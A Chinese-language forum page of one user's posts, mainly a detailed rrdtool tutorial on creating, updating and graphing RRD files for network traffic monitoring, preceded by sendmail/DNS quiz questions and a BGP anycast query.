但是在個自的 DNS zone file (xxx and yyy) 內僅有 IN NS ns1 的描述,
但四部主機皆有各自該有的 zone file 資料
請問:
   1. 如果 xxx 寄給 yyy, 在 Local DNS (BIND 8.X/9.X)沒有 cache 的狀況下有什麼情況?
   2. 如果 xxx 寄給 yyy, 在 Local DNS (BIND 8.X/9.X)巳有 cache 各又是什麼情況 ?
   3. 如果 yyy 收件動作,要檢查寄件主機 (xxx) 的正反解一致性,又會有什麼情況?
   4. 如果 xxx 寄給 yyy, 在 Local DNS 無 cache 狀況下, ns1.yyy 又不 work 又會有什麼情況?

5. 如何擋掉一封 mail 中超過 10 個的 Received: 欄位
6. 如何做寄出備份 ? (種除了精華區的二種方法外任提一種)
7. 如何在 sendmail.mc 或 sendmail.cf 中檔掉 [0-9]+.txt@yourdomain 的信件
8. 如何限制某一來信 IP 固定時間內只能送進你的 mail server 幾封信 ?
9. 從 network 設定開始, sendmail 如何收送 IPv6 address 的信件?
10. 如何從 linux command line 取得本篇文章寄出,並在以 Outlook 以 html 格式顯示 ?
 
就這樣......想想哦,去找資料哦 (不會我那敢貼 ^^")

22
Network 討論版 / BGP anycast cost
« 於: 2003-08-29 23:16 »
如果要請 ISP 幫我們 run BGP anycast,
對 ISP 而言大概需要多少成本呢 ?
我想這種 solution 比 HA/LVM 或 Cluster 等都要來得好上許多
只是看起來國內似先例可尋~
 :cry:

23
rrdtool 教學
歡迎轉載 ,但有任何修改請來信告知,不得作為商業用途
作者: abelyang <abelyang{at}twnic{dot}net{dot}tw>
version: 1.0
最後修正時間: 2005/05/26 00:10
轉載時請保持此一宣告

1.前言
(http://www.rrdtool.org)
什麼是 rrdtool 呢 ? 其實他和 mrtg 是同一家族, 主要都是在產生 time-series 的圖檔(如流量,負載,
溫度,人數.....),不過因為 mrtg 當初的考量是畫兩種資料在圖上(或四個值),後來原作者覺得不足,所以
另外又開發了 rrdtool, rrdtool 本身可和 mrtg 結合,但其結合基本上僅在於將 mrtg 的文字檔的log
轉成 rrd 儲存格式,通常 user 尚需要 mrtg-rrd/rrdcgi 去轉換,不過總覺得美中不足,因為最終其實你用
到的還是 rrdtool,雖然還有像 my14all (http://my14all.sourceforge.net/) 這類的 tools 可以轉換並
畫圖,但其追根究底 還是以 rrdtool 為 base, 所以 rrdtool 變成了最終也是最好的選擇。

平心而論 rrdtool 的學習遠比 mrtg 來得困難,且相關文件資料也沒有 mrtg多,其中中文的參考又幾乎沒有,
如果沒有較深厚的 Linux 基礎(尤其是 Shell Script) 或了解 SNMP,懂得英文及好學的心,否則是不建議學
習 rrdtool 的.因為你可能很難去控制或獲得你所要的資料,亦可能難於表現圖檔。

當然,每個人看法不見得相同,完全看個人需要而定,就像用 mrtg 畫 CPU Load, Memory Usage,HTTP Client,
Process...., 純使用 mrtg 是較簡單且好用的,但是你要做很多圖,每張圖之間的關聯生基本上可能需要你用
眼睛去判斷.但如果使用rrdtool 可以讓你四張疊成一張,如此也較好比較出其中的因果關係,不過此時你得懂
得控制圖的表現方式來達到顯示上最好的結果.基本上學 rrdtool 完全不需要有 mrtg 的經驗. 但最好對系
統資訊獲得的方法(cmd/ snmp/Shell Script )熟一點會較好處理.


最大  CPU 純系統負載;   27.0 %    平均   CPU 純系統負載;5.0 % 目前   CPU 純系統負載;   0.0 %
最大  CPU 使用者負載;   2.0 %    平均   CPU 使用者負載;0.0 % 目前   CPU 使用者負載;   0.0 %


最大 RAM 系統負載; 16.0 %   平均   RAM 系統負載;  4.0 %   目前  RAM 系統負載; 3.0 %  
最大 RAM 使用者負載; 1.0 %  平均   RAM 使用者負載; 0.0 %  目前 RAM 使用者負載; 0.0 %  
 

最大   連線數目 : 91.0 %   平均   連線數目 : 3.0 %   目前   連線數目 : 1.0 %  
最大   上線人數 : 6.0 %   平均   上線人數 :  0.0 %   目前   上線人數 : 0.0 %  

使用 rrdtool 匯整:

綠色為 RAM 之使用率,藍色為 CPU 負載,而紅色系則為連線數,如此,以三合一的方式,更能顯示連線數與系統
的關係(這張圖可以看出其沒有太大相關)


2.下載與安裝
本節說明僅適用 rrdtool 1.0.x
去官網下載 tarball 或 Google 找 RPM 皆可,個人都習慣用 tarball 裝,安裝方法同一般的程式
$>./configure --prefix=/usr/local
$>make
$>make install

Complier 過程中會有幾個 Warning,但是對整個環境並沒有影響.基本上安裝部份都不會有什麼問題, rrdtool
的 tarball 內即可附了 libgd,zlib 等自用的 lib,不會像 mrtg FAQ 一樣裝好了試一下打 rrdtool ,看會不
會出現類似訊息

[root@pc071 study]# rrdtool
RRDtool 1.0.42 Copyright 1997-2001 by Tobias Oetiker <tobi@oetiker.ch>
Usage: rrdtool [options] command command_options
Valid commands: create, update, graph, dump, restore,
last, info, fetch, tune, resize, xport
RRDtool is distributed under the Terms of the GNU General
Public License Version 2. (www.gnu.org/copyleft/gpl.html)
For more information read the RRD manpages

可以看出來 rrdtool 有 11 個 options, 此處介紹 create/update/graph 其餘的部份較屬於 RRD File 的
備份/回存及資訊顯示等,與我們主題較無關.另外像 rrdcgi 或 rrd 的 perl module 皆不在我們的介紹範圍
內,但其用法並無二致,有興趣之人自可至官方網站查看.

3.建立 RRD 檔 (rrdtool create)
建立 RRD file 的指令及意義你一定要弄懂,如此圖才能畫的好,不過唯有實作你才能體會的深, 只有看過是不
夠的.相信有不少人看過 rrdtool 網站上的說明,個人覺得上面有幾個部份 英文蠻難的(你覺不覺得我就不知了
)... 再說明之前我們先了解 mrtg log 的儲存格式...以一般而言 mrtg 大家習慣都是 5m 做 一次,那一天要
做 288 次, 你的 mrtg 跑一年不就有 10 萬行的資料了,但實際上mrtg log 是會做一些處理的 實際的狀況是
代碼: [選擇]

每五鐘值存 603 筆,再來是
30 分鐘存 603 筆
2 小時值存 603 筆
一天值存 800 筆

註:詳細內容請參考您自身的 mrtg log 檔,並觀察第一欄(timestamp) 的變化

3.1 論 mrtg 的優點
個人感覺即是籣單而好用,能符合多數人的需求.且網路上中文的資料多.
2.x 版後支援 Logformat 為 RRD 而不為 text logfile, 以方便較短的 interval 及僅做資料收集動作
支援 Threhold Check,這個一般人都沒有什麼研究,但其實是 monitor 中重要的一個 Alert 動作
代碼: [選擇]

#mrtg target 部份
Target[sg-apol-mgcd]:`/root/study/enum.sh softswitch ABC mgcd`
MaxBytes1[sg-apol-mgcd]:6000
MaxBytes2[sg-apol-mgcd]: 512000
Title[sg-apol-mgcd]: Class 5 VoIP SoftSwitch status
Legend1[sg-apol-mgcd]: CPU 時間
Legend2[sg-apol-mgcd]: MEM 使用
LegendI[sg-apol-mgcd]: CPU 時間(秒)
LegendO[sg-apol-mgcd]: MEM 使用(KB)
YLegend[sg-apol-mgcd]: CPU/MEM usage
PageTop[sg-apol-mgcd]: <h1>Class 5 Soft Switch @APOL: mgcd daemon(Media GatewayControler )</h1>


# mrtg Threshold Check , 定義 Alert 所在目錄,及 Alert 值,Alert
ThreshDir: /www/htdocs//mrtg/alert/
#依我的
#remote 重
ThreshMaxI[sg-apol-mgcd]: 1000
ThreshProgI[sg-apol-mgcd]:/www/htdocs/snmp.enum.org.tw/mrtg/alert/send_MSN.sh


3.2 mrtg 的缺點
mrtg 最大的缺點是處理效率問題
主要原因在於:
1. 偵測時間不能小於5分鐘,即使你每分鐘跑一次,圖上也是畫 5 分鐘的變化
2. 偵測 Target 過多,機器會跑不動,主因在
   2.1 mrtg 每次都會畫圖(最多一個target 會更動到4個圖),不實際, Broswer 時才畫才可能偵測上千
        上萬個 Target.
   2.2 要更新 log file(絕不是什麼插入一行數據,而是N筆資料的修改)
   2.3 要更新每個 target 的 html page
3. 不能表現三種以上資料

如果 Scope 小, mrtg 再上述幾點狀況不會構成問題,若 Scpoe 大,例如, 1000+ Target 要做,大概 90% 的機
器都跑 不動(可以把 mrtg.cfg 複製個 1000 份,每份改一個 filename & target name 即可測試).即使你用
speedcgi ,也只是把1000 變成 2000, 因為根本問題並沒有解決

mrtg 資料儲存的方法固定
如此 log 檔才不會太大,畫 d w m y (day,week,month,year) 圖時才會快,不過你可以
想像,你的每五分鐘資料過了 50  個小時後(5x603=3015 分鐘,約50小時) 就會變成 30 分鐘平均值....,..
當您需要一個月前每五分鐘值,以無法再從 mrtg 中找到,因為它會將6 個5分鐘合併計算為一個30分鐘,且
你無法改變這種現況.

無法繪出特定時間需求
mrtg 另外的限制是無法產生說我要最近3天,最後三個月,近十年來等資料,上個月與本月比較,特別標示上班
時間...等繪圖,資料的運算處理上也較少,其僅能產生日週月等較固定的資料.
 
數值差異過大問題   
如果你有兩個資料,一個是 Web 連線數,一個是 Web 資料傳輸量,此時你要將這兩個值畫在 mrtg 上,你會發
現,連線數的線圖將小得幾乎看不見,因為傳輸量的值太大了,以致於不能於圖上充份表現出來.除非你的 script
先做了適當的運算,如傳輸量以 K 算,再輸出. (註:mrtg 雖可讓你用 K 值當 Y 軸,但是此時連線數的線值看
起來就和0一樣了),在 mrtg 要解決此一問題,只有事先處理(連線數輸入 logfile 時先給他 x1000),但 rrdtool
是允許你後來再加工運算的


eth0 流量:藍線為 tx,綠線為 tr,但此時 tr 看起來幾乎感覺不到他的存在
(不知什麼是 TR/TX 建議您不要看下去了)

數值再處理的運算式功能
如果您的圖表上突然有一個很大的值,此時,mrtg 的圖檔原資料因 Y 軸的資料都將因此而壓縮,使用 rrdtool
可以用 GE (大於),LE(小於)…等運算式,讓您將這個值改成其他的值(有沒有意義需視您自身的需要而定)
代碼: [選擇]

CDEF:la60u=la60,1000,GT,1000,la60,IF

意思是如果 la60(rrdtool 裏的變數) 大於 1000, 那都算成 1000 來畫圖,不然就用 la60 原來的值
(if (la60 < 1000) then la60u=1000 , else la60u=la60)[/i]
CDEF 教學可參考 http://rrdtool.planetmirror.com//tutorial/cdeftutorial.html

MRTG 自有其優缺點, RRDTOOL 也不見得是最佳解,用什麼東西來做你的 Monitor 端看個人的需要而定囉


以下,我們就開始來介紹 rrdtool 的一些基本用法,至於更深入的東西待您自己去發掘了

4. rrdtool 建檔語法 (rrdtool create)

rrdtool create filename
[--start|-b start time]
[--step|-s step]
[DS:ds-name:DST:heartbeat:min:max]
[RRA:CF:xff:steps:rows]


看起來語法好像不多(因為不多所以讓很多人看不懂),但其實有點精深,這個建檔的動作其實就像建立 mrtg 的
log 檔,但是 rrd 讓你可以自訂五分鐘資料筆數,平均值為多少時間單位,最大值為多少時間單位,要存幾筆資料,
即使用事後發現不足或有問題,依然可使用 tune 來調整.

create    顧名思義,即建檔
filename    隨你取,習慣上會以 .rrd 結尾
--start    這個 filename 的資料記錄起始日期 ,以 1970 年至今的秒數 (預設是現在)
--step      資料的間格時間,習慣上我們會設 300 (秒),您可視自己的需求而定

下面的部份難一點了哦~~要仔細體會了,直接以例子做說明,比如說我們要測 eth0 上的 某些 udp/tcp port
的流量及 總流量(IP 層以上):

DS:telnet:COUNTER:600:0:100000000 \
DS:smtp:COUNTER:600:0:100000000 \
DS:domain:COUNTER:600:0:100000000 \
DS:http:COUNTER:600:0:100000000 \
DS:total:COUNTER:600:0:100000000 \

DS    Data Source DS "宣告" 的意思
telnet    是 DSN (name) , 欄位名稱,意即"變數名稱",
COUNTER 是DST(type),習慣上常用如果輸入資料依序為 98 100 98:
   1.GAUGE(個別值,像CPU loading):產生圖檔時,畫 98 100 98
   2.COUNTER (累計值,像流量資料):產生圖檔時,畫,2 -2
   3.DERIVE (累計值,像流量資料),小於0畫0:產生圖檔時,畫    2   0
   4.ABSOLUTE 如同 COUNTER,但 COUNTER 可能 overflow(數值過大),所以會取絕對值
   補充說明,COUNTER/DERIVE/AVSOLVTE 雖是取差值,但會再除以兩次間隔間的秒數,如上 COUNTER
   例,兩次間隔間為 300 秒,那畫出來的就是 2/300,-2/300 的值

600    是有效期(heartbeat),如果連續如果原來在 12:00 要產生資料而沒有產生,前後 300 秒 (共 600
   秒)的平均值會算成 12:00 的值,如果都沒有值,則會成為 "UNKNOWN" (UN,就像 mrtg 沒有資料時,
   會畫一平線的狀況一樣),考考你,如果你想把現有的 mrtg logfile 轉成 rrd file, 這個值該設為
   多少呢 ?86400 以上
0:100000000    是說 DSN 的數值有效範圍,如果超出這個值,皆視為 UN,這裏也可以寫成 U:U 代表不限範圍

DS 的部份剛開始一定記不熟,不過用久了就不會有太大問題了,一個好記的方式即 "三文字,三數字".
RRA 可能對少數人不容易理解,其實就是什麼資料要存幾筆,以下例為仿 mrtg logfile
RRA:AVERAGE:0.5:1:603 \
RRA:AVERAGE:0.5:6:603 \
RRA:AVERAGE:0.5:24:603 \
RRA:AVERAGE:0.5:288:800 \
RRA:MAX:0.5:1:603 \
RRA:MAX:0.5:6:603 \
RRA:MAX:0.5:24:603 \
RRA:MAX:0.5:288:800

RRA      即 Round Robin Archive,你可以把它看成像 DS,但是這裏主要在處理資料筆數
AVERAGE    在 rrd 稱為 CF (consolidation function),此處我們使用平均數,共有四種類別
      :AVERAGE, MIN,MAX, LAST 意即平均值,最大值,最小值,最後一筆.
0.5:1:603    因為我們將 step 定為 300 秒是指若原計算時間點為 12:00 的話,記錄時要以
      11:57:30~12:02:30 的平均值為主,這個值若在此時間點內只有一筆資料的話,其
      意即是平均值,所以此一值即表原 telnet/smtp…等共要記錄幾筆(若 mrtg 此值為
       603),603 是指要存 603 筆 (此處故意與 mrtg 同,以利大家判斷),超過603筆,
      則最早之一筆將被移出.
0.5:6:603    僅就 6 解釋,取 6 筆資料(每筆為 step 值,在此意即5分鐘)為平均值( 30 分鐘),
      存 603 筆
0.5:24:603   24 即二小時
0.5:288:800    288 即一天


請注意,不是 0.5:1:603 中的1 就是五分鐘,其乃依據你的 --step 值而定,如果 --step 3600 , 那 0.5:6:603
這一行就是六小時合起來的平均值了.若將 AVERAGE 換成MIN/MAX 的意義則是取該時間點中 (如上例之5min/
30min/2hr..)之最大值或最小值,而通常在監測系統時最大值與平均值是較有實際意義的.

所以,若我們再看一個例子
代碼: [選擇]

rrdtool create sample.rrd -s 600 -b `date -d "2005/03/01" +%s` \
DS:DS1:COUNTER:6000:0:100 \
RRA:MAX:0.5:5:1000

如果 2005/03/01 後,每十分鐘各輸入
1 2 3 4 5 6 7 8 9 10 20 30 40 50 60 70 80 90 100
試問,若畫20050301 該天的圖, 會有幾個數據? 值為何 ? 為什麼 ?

答案為3個數據,值分別為 0.001666667/0.016666667/0.016666667 ,為什麼就看您的理解囉



RRA 再解釋一下大家會較清楚:


所以, DS 主要在宣告資料名稱(DSN)及資料型式(DST),heartbeat 決定資料時間的有效範圍,RRA 則定義了
資料的儲存數量及存什麼樣的 CF (AVERAGE/MAX...),~~其實懂了意義就容易了,不過當出我在 K 資料時,
到是有不少英文與理解上的問題呢!還得在 google 找許多資料來參考.至少你現在看的是中文,要理解,不能
強記.我想大概的重點我想我都指出來了.


回想一下,下列的指令意義你還記得多少?
代碼: [選擇]

rrdtool create /root/study/tcpdump.rrd -s 300 -b `date -d "-1 month" +%s` \
DS:telnet:GAUGE:600:0:10000000 \
DS:smtp:GAUGE:600:0:10000000 \
DS:domain:GAUGE:600:0:10000000 \
DS:http:GAUGE:600:0:10000000 \
DS:pop3:GAUGE:600:0:10000000 \
DS:total:GAUGE:600:0:10000000 \
RRA:AVERAGE:0.5:1:603 \
RRA:AVERAGE:0.5:6:603          \
RRA:AVERAGE:0.5:24:603         \
RRA:AVERAGE:0.5:288:800         \
RRA:MAX:0.5:1:603 \
RRA:MAX:0.5:6:603 \
RRA:MAX:0.5:24:603 \
RRA:MAX:0.5:288:800


-b 處我讓他建立一個一月前為起始的資料,以下我提供一個 rrdtool update 的範例檔
記注意,如果你巳新增了 12:00 的資料, 12:00 之前的資料你就不能再更新了,rrdtool 會和你說
timestamp 小於最後一筆.

5.更新 RRD 資料 (rrdtool update)

rrdtool update filename [--template|-t ds-name[:ds-name]...] N|timestamp:value[:value...]


這個很好理解,基本上就是根據 DS來更新資料,如上述之 tcpdump.rrd,若有需要更新時及時
代碼: [選擇]

$>rrdtool update tcpdump.rrd  1061811856:114:0:50:1199:0:821073

上面的 1061811856 即時間值,如果就是要現在的時間值,則可以 N 代表,但要轉換成秒值,通常我們都會以
代碼: [選擇]

$>timestamp=`date +%s `

來轉現在秒數,如果是某些特定時間,則可以
代碼: [選擇]

$>timestamp=`date -d "2003/08/15 12:00" +%s`


通常這裏你得寫個小程式取數據,或用 snmpget/snmpwalk 抓資料來做 rrdtool update,再用 crontab
根據你在 rrdtool create 時的 step 來決定執行排程的時間點
http://211.72.210.251/tcpdump.txt
這裏提供一個 update 範例檔給大家,其時間範圍為 2003/08/15~2003/08/25,step 為 300s,根據這個檔
您自己可適時的建立自己的 rrd file,最好不要抄上面才好(放不進去 rrdfile,請再將 create 指令再看
一次,一定是你漏了什麼了).


6. 畫圖 (rrdtool graph)
先用簡單範例,引起你的興趣... (看起來好複雜…)

6.1 LINE{1|2|3} 圖例
代碼: [選擇]

#三線圖 (LINE1 是細線,尚有 LINE2,LINE3 (粗線條) 等)
RRD_FILE=/root/study/tcpdump.rrd
rrdtool graph html/example.png \
--title "Host Port Traffic " \
DEF:t1=$RRD_FILE:telnet:AVERAGE \
DEF:t2=$RRD_FILE:smtp:AVERAGE \
DEF:t3=$RRD_FILE:domain:AVERAGE \
LINE3:t1#ff0000:"telnet"        \
LINE2:t2#00ff00:"smtp"          \
LINE1:t3#0000ff:"domain"        \
-h 200 -w 480 -s `date -d "-1 week" +%s` \
-v "Bytes per second"

結果圖表 (三線,LINE3 最粗, LINE1 最細)


由這張圖可以看出來,以三條線來表示三個 port 時,線形有粗細之分(自己需定義),不過此時因每個時
間點不同而有可能交叉,可能增加了我們閱覽時的困難.因為以線來表示較難看出總合情況,所以我們要將
每條線疊起來形成一個堆壘的圖,如此就看出來整個機器這幾個 port 的狀況
(本例以 AREA 繪制,亦可以 STACK 描繪,後述)

6.2 AREA,CDEF 圖例
代碼: [選擇]

#或如下 (畫出時,天,週,的流量圖)
#filename: tcpdump-graph.sh
RRD_PATH="/root/study/tcpdump.rrd"
image_path="/root/study/html"
image_path=/home/httpd/html/enum/study
now=`date "+%Y/%m/%d %H:%M:%S"`
start_time=`date -d "2003/08/12 19:00" +%s`
time="hour day week "
for t in $time
do
/usr/local/bin/rrdtool graph $image_path/example-$t.png \
--title "本機重要 port 流量統計" \
DEF:t1=$RRD_PATH:telnet:AVERAGE \
DEF:t2=$RRD_PATH:smtp:AVERAGE \
DEF:t3=$RRD_PATH:domain:AVERAGE \
DEF:t4=$RRD_PATH:http:AVERAGE \
DEF:t5=$RRD_PATH:total:AVERAGE \
CDEF:v1=t1,t2,t3,t4,+,+,+ \
CDEF:v2=t1,t2,t3,+,+ \
CDEF:v3=t1,t2,+ \
CDEF:v4=t1 \
CDEF:v5=t5,1024,/ \
AREA:v1#339966:"HTTP" \
AREA:v3#FF0000:"SMTP"        \
AREA:v4#0000ff:"TELNET"        \
LINE2:v5#000000:"Total(Kb)"        \
COMMENT:"\n" \
COMMENT:"Last Updated:  $now" \
-v "per second (bytes)" -M -U 10 \
-Y -X b -h 200 -w 480 -s `date -d "-1 $t" +%s` -b 1024
done                

流量小時圖:


流量日圖


流量週圖


上述三圖我們是以區磈(AREA)來畫出,但是原資料如果我們以AREA來畫將出現互相覆蓋的情況,所以得
做一些運作(CDEF 那一段),將適當的加總另外給予另外一變數,而 Total 之值因為過大,如果我們以原
值畫於圖上將造成 HTTP/SMTP/TELNET 的圖形無法適當反應,所以將其除以 1024,而以 Kbytes 來表示.
Rrdtool 是不是很活呢?不過也因為其較靈活所以你多少得花許多時間自己去體會.
個人覺得剛開始學時不容易掌握到要緊,只有靠練習才能生巧,rrd 畫出來的圖覺得比 mrtg 來得有變化,
也更容易 "Customize",但 mrtg 是較好學習的. 若無特殊需要的確不需要另學 rrd.
(註:mrtg 3.x 應會改用 rrd , 之前有看到過這樣文章,我也是先 mrtg->mrtg-rrd->rrd )

6.3 rrdtool graph 一些參數簡單介紹
你若想知道得很清楚建議您到http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/manual/rrdgraph.html
參考其詳細語法,不必費心找其他的連結,因為我覺得其巳經很詳細了.
 
我僅列出我要介紹的部份供大家參考,你慢慢去體會囉
rrdtool graph image-filename
-s   繪圖資料的起始時間,預設是一天前(-1d),可參考上面的 script ,-s `date …` 的應用,
-e   繪圖資料的結束時間,預設是現在(now),除date 應用外,可用 -e -1w 表示繪圖的時間結束於一週前
--no-minor   不要副格線
-t   圖檔標題
-v   Y 軸說明
-w   資料區的寬度,資料區指的是數據顯示的部份,而非說明或圖例
-h   資料區的高度
-u   Y 軸正值高度
-l   Y 軸負值高度

DEF   重要的地方,其語法為 DEF:your_var:rrd_filename:DS_name:[AVERAGE|MAX..]
   請參考上面的 tcpdump-graph.sh
   主要用處在於您要取出那個 RRD 檔案的 DSN 到這個 graph 的參數來
CDEF   一個虛擬的變數,其值為 DEF 的某些運算,其運算式需寫成後序
   EX: a=1+3 寫成 a=1,3 +
   http=(smtp+http+telnet)/1024 寫成 http=1024,smtp,http,telnet,+,+,/
   不懂 ? http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/tutorial/ 這裏可以參考,由於
   CDEF 太過複雜(其實這裏才是精髓),除了 +-*/ ,您可自行研究
LINE{1|2|3}:vname[#rrggbb[:legend]]
   LINE1:your_var#rgb顏色值:圖例說明,這個 "your_var" 需存在 DEF 或 CDEF 的宣告中,
AREA:vname[#rrggbb[:legend]]
   AREA 則是畫出資料數值至 0 之間的區磈圖
STACK:vname[#rrggbb[:legend]]
   STACK 則是表現在的圖的值,疊在上一個值上
    請注意,如果使用 AREA/STACK 時需特別注意圖蓋圖的問題,一定要先畫大的值,
   再畫小的值,才會有層次的效果,不然,最大的數據若最後畫,是直接壓過去哦

COMMENT   說明欄字,如 COMMENT:"Last Updated" 將在圖上產生該文字,可以用 \n 等換行符號
GPRINT   GPRINT:vname:CF:format vname 即DEF 中的 your_var,而 CF 看你要輸出的文字是
   AVERAGE/MAX/MIN/LAST 等數值,format 如同 printf 中的格式,
EX:
   GPRINT:telnet:AVERAGE:"%10.0lf  \n"
   意即要輸出這段時間中 (-s ~ -e 中,telnet的平均值,%10.0lf 則是為了好算位置)
   如果你不懂 printf, man 一下會比我解釋一大堆來得快.


其他沒有介紹的參數就有待你自己去發掘了(多看官網上的說明,我相信經過我的介紹您一定可以看懂的)
,還有很多沒有講到的,不過我都講完就沒有意思了.依據這裏的介紹,我們再將流量圖美化些,讓它可以
產生說明文字,更有助於我們的判讀,並將如何 update 資料也一併加入:

代碼: [選擇]
#tcpdump.sh
RRD_PATH="/root/study/tcpdump.rrd"
image_path="/root/study/html"
sec=300
killall tcpdump
mv ip.packet ip.packet.1
tcpdump -w ip.packet  tcp or udp or icmp &
scan_port="23 25 53 80 110"
rrd_data=""
for sport in $scan_port
do
        port=`tcpdump -r ip.packet.1 port $sport -v | sed -e 's/.*, len \(.*\))/
\1/g' |  tr '\n' '+'`
        port=`echo ${port}0| bc`
        port=`expr $port / $sec`
        rrd_data="$rrd_data$port:"
done
total=`tcpdump -r ip.packet.1 -v  |grep -v 'config'| sed -e 's/.*, len \(.*\))/\
1/g'  |  tr '\n' '+'`
total=` echo ${total}0 | bc`
now=`date +%s`
echo "rrdtool update tcpdump.rrd $now:$rrd_data$total" >>tcpdump.cmd
rrdtool update tcpdump.rrd $now:$rrd_data$total

image_path=/home/httpd/html/enum/study
now=`date "+%Y/%m/%d %H:%M:%S"`
start_time=`date -d "2003/08/12 19:00" +%s`
time="hour day week month year"
for t in $time
do
/usr/local/bin/rrdtool graph $image_path/example-$t.png \
--title "本機重要 port 流量" \
DEF:t1=$RRD_PATH:telnet:AVERAGE \
DEF:t2=$RRD_PATH:smtp:AVERAGE \
DEF:t3=$RRD_PATH:domain:AVERAGE \
DEF:t4=$RRD_PATH:http:AVERAGE \
DEF:t5=$RRD_PATH:total:AVERAGE \
CDEF:v1=t1,t2,t3,t4,+,+,+ \
CDEF:v2=t1,t2,t3,+,+ \
CDEF:v3=t1,t2,+ \
CDEF:v4=t1 \
CDEF:v5=t5,1024,/ \
COMMENT:"各 PORT 流量統計---最大------平均-------最小-------?#123;在\n" \
AREA:v1#339966:"HTTP" \
GPRINT:t4:MAX:"      %12.0lf "  \
GPRINT:t4:AVERAGE:"%12.0lf "            \
GPRINT:t4:MIN:"%12.0lf "                \
GPRINT:t4:LAST:"%12.0lf \n"               \
AREA:v2#ffff00:"DNS"        \
GPRINT:t3:MAX:"       %12.0lf "  \
GPRINT:t3:AVERAGE:"%12.0lf "            \
GPRINT:t3:MIN:"%12.0lf "                \
GPRINT:t3:LAST:"%12.0lf \n"               \
AREA:v3#FF0000:"SMTP"        \
GPRINT:t2:MAX:"      %12.0lf "  \
GPRINT:t2:AVERAGE:"%12.0lf "            \
GPRINT:t2:MIN:"%12.0lf "                \
GPRINT:t2:LAST:"%12.0lf \n"               \
AREA:v4#0000ff:"TELNET"        \
GPRINT:t1:MAX:"    %12.0lf "  \
GPRINT:t1:AVERAGE:"%12.0lf "            \
GPRINT:t1:MIN:"%12.0lf "                \
GPRINT:t1:LAST:"%12.0lf \n"               \
LINE2:v5#000000:"全部(Kb)"        \
GPRINT:v5:MAX:"  %12.0lf "  \                            
GPRINT:v5:AVERAGE:"%12.0lf "            \
GPRINT:v5:MIN:"%12.0lf "                \
GPRINT:v5:LAST:"%12.0lf \n"               \
COMMENT:"\n" \
COMMENT:"\n" \
COMMENT:"    Last Updated:  $now" \
-v "per second (bytes)" -M -U 10 \
-Y -X b -h 200 -w 480 -s `date -d "-1 $t" +%s`
done


hour:


day:


week:


加上數值的顯示是不是更清楚了呢 ?不過請注意 rrdtool 是不支援中文的,請您用英文來表示你的資料即可.
嗯~如果你覺得很複雜那是正常的,但是其實仔細觀察你可以發現,其實很多地方都很類似,我的感覺是在初學
時才覺得複雜,等做過了一兩個成功的例子後就覺得很簡單了,學任何東西不也都是如此嗎 ?
嗯~tcpdump 抓封包那一段不在我的介紹範圍內,有興趣的人自可 man tcpdump 自己學習一番,或是有人要
貢獻一下也是很好的.

提供大家我的幾個範例當參考,學習的過程中範例其實很重要的,但 rrdtool 的範例其實不多,不然就都是
英文的

6.4 Question: 如何抓 CISCO Switch(假設 24 port) 每個 port 流量呢 ?
6.4.1 方法一
代碼: [選擇]

# 先使用 mrtg 產生 cfg 檔
cfgmaker Community_String@Switch_or_Router_IP > mrtg.cfg

再來修改 mrtg.cfg , 加入這三行,在最前面
代碼: [選擇]

# 表示使用 rrdtool 來做 data 的 log , 而不使用 log file
LogFormat: rrdtool  
# rrdtool 所在路徑,如果你裝 rrdtool 的 prefix=/usr 那就是在 /usr/bin 下
PathAdd: /usr/bin/
# 自己找 RRDs.pm 在哪,如果 prefix=/usr 那大概就是在下面這個 path
LibAdd: /usr/lib/perl/


再來,只要跑 mrtg mrtg.cfg ,那 mrtg 就幫你建好 rrd 檔在 LogDir 內(一般同 WorkDir: ),
代碼: [選擇]

[root@log mrtg]# mrtg /etc/mrtg/mrtg.cfg
[root@log mrtg]# ls -la *.rrd  
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_10.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_11.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_12.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_13.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_14.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_15.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_16.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_17.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_18.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_19.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_1.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_20.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_21.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_22.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_23.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_24.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_2.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_3.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_4.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_5.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_6.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_7.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_8.rrd
-rw-r--r--    1 nobody   users       84740 May 27 15:15 168.95.1.253_9.rrd


再來,我會百分之百建議到 http://my14all.sourceforge.net/ 抓 14all.cgi 來繪圖.
請辨明上述網站上的版本說明,14all.cgi 抓回來後要修改三個地方
代碼: [選擇]

#..前略
#if MRTG_lib.pm (from mrtg) is not in the module search path (@INC)
# uncomment the following line and change the path appropriatly:
# 修改這個,找你的 mrtg 的 lib 的路徑在哪裏,建議您將 mrtg 的 pm
# 皆 copy 到 perl modules 的所在目錄
use lib qw(MRTG_lib.pm);

# if RRDs (rrdtool perl module) is not in the module search path (@INC)
# uncomment the following line and change the path appropriatly
# or use a LibAdd: setting in the config file
# 這個是你的 rrdtool 的 RRDS.pm 所在路徑,與你
use lib qw(/usr/local/rrdtool-1.0.38/lib/perl);

